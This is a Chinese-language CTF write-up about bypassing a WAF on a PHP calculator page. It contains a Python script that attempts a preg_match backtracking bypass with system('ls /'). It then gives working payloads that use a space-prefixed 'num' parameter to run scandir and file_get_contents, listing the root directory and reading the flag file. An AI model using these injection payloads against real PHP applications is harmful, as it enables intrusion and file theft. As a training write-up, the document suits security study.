这是一篇简单的waf漏洞的题目
点开题目,发现有个计算器,刚开始觉得可能是sql注入,但是输入什么都没有用,于是打开源码可以看到:
显示的是拥有waf保护
在index文件夹里面可以看到,有个calc.php文件,尝试访问
访问结果如下
通过num传入get参数,要想拿到flag,第一反应是要绕过preg_match函数,在之前的练习中,试过利用回溯次数限制来绕过preg_match函数,于是又试试:
写了个python脚本:
import requests
url='http://node5.buuoj.cn:26423/calc.php'
data={'num':'1234'*250000+"system('ls /')"}
re=requests.get(url,data)
print(re.text)
结果显示:
他说url太长了,不允许,于是回溯绕过不行,可知传num不行,因此我们可以利用字符串解析的特性,不传入num,而是传入 num(num前面有一个空格):
构造payload
/calc.php? num=2;var_dump(scandir(chr(47)))
var_dump()用来打印
scandir()用来获取目录文件
chr(47)表示的是ASCII码47对应的字符,即“/”,表示列出文件
还有注意num前面要加一个空格用于绕过waf,在php中" num"(有空格)会被解释为"num'(没有空格)
可以得到如下
再尝试打开f1agg文件,php中用“."来连接,file_get_contents函数用于读取文件内容,构造“/f1agg"如下
? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
得到flag